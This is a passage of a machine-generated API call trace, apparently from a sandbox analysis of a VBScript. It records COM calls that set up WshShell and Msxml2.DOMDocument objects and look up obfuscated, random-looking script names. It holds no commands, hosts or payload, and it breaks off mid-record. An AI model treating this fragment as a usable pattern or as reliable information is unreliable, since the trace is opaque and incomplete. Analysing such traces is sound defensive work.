Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x86bfef4) returned 0x0 [0087.571] WshShell:IUnknown:Release (This=0x1112bf0) returned 0x0 [0087.571] WshShell:IUnknown:QueryInterface (in: This=0x86bfef4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0087.571] WshShell:IUnknown:QueryInterface (in: This=0x86bfef4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x86bfee0) returned 0x0 [0087.571] WshShell:IUnknown:AddRef (This=0x86bfee0) returned 0x3 [0087.571] WshShell:IUnknown:Release (This=0x86bfee0) returned 0x2 [0087.571] WshShell:IUnknown:Release (This=0x86bfef4) returned 0x1 [0087.571] WshShell:IUnknown:AddRef (This=0x86bfee0) returned 0x2 [0087.572] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.572] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="miko", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.572] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="miko", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.572] GetCurrentThreadId () returned 0xd44 [0087.572] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.572] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.572] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.572] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.572] GetCurrentThreadId () returned 0xd44 [0087.572] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.573] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.573] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.573] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.573] GetCurrentThreadId () returned 0xd44 [0087.573] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.573] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.574] malloc (_Size=0x804) returned 0x83fc220 [0087.574] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.574] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.575] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.575] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.575] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.575] GetCurrentThreadId () returned 0xd44 [0087.575] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.575] ??2@YAPAXI@Z () returned 0x11c2208 [0087.575] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.576] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.576] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.576] GetCurrentThreadId () returned 0xd44 [0087.576] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.576] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.576] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.576] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.576] GetCurrentThreadId () returned 0xd44 [0087.577] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.577] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.577] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.577] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.577] GetCurrentThreadId () returned 0xd44 [0087.577] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.577] malloc (_Size=0x204) returned 0x847b3d8 [0087.577] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.578] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.578] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.578] GetCurrentThreadId () returned 0xd44 [0087.578] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.579] ??2@YAPAXI@Z () returned 0x86bff10 [0087.579] malloc (_Size=0x804) returned 0x83fc220 [0087.579] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.580] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0087.580] SysStringLen (param_1=0x0) returned 0x0 [0087.580] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0087.580] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0087.580] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x5544b0) returned 0x0 [0087.580] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0087.580] DOMDocument:IUnknown:QueryInterface (in: This=0x5544b0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x5544dc) returned 0x0 [0087.580] ??2@YAPAXI@Z () returned 0x1112bf0 [0087.581] DOMDocument:IObjectWithSite:SetSite (This=0x5544dc, pUnkSite=0x1112bf0) returned 0x0 [0087.581] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0087.581] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0087.581] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0087.581] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112bf0) returned 0x0 [0087.581] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112bf0) returned 0x0 [0087.581] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.581] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.581] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.581] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.581] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.581] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.581] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.581] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.581] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.581] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.581] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.582] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.582] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.582] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.582] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.582] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.582] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.582] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.582] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.582] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.582] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.582] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.582] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.582] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.582] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0087.582] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.582] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0087.582] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112bf0) returned 0x0 [0087.583] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.583] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.583] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.583] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.583] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.583] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.583] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.583] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.584] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), 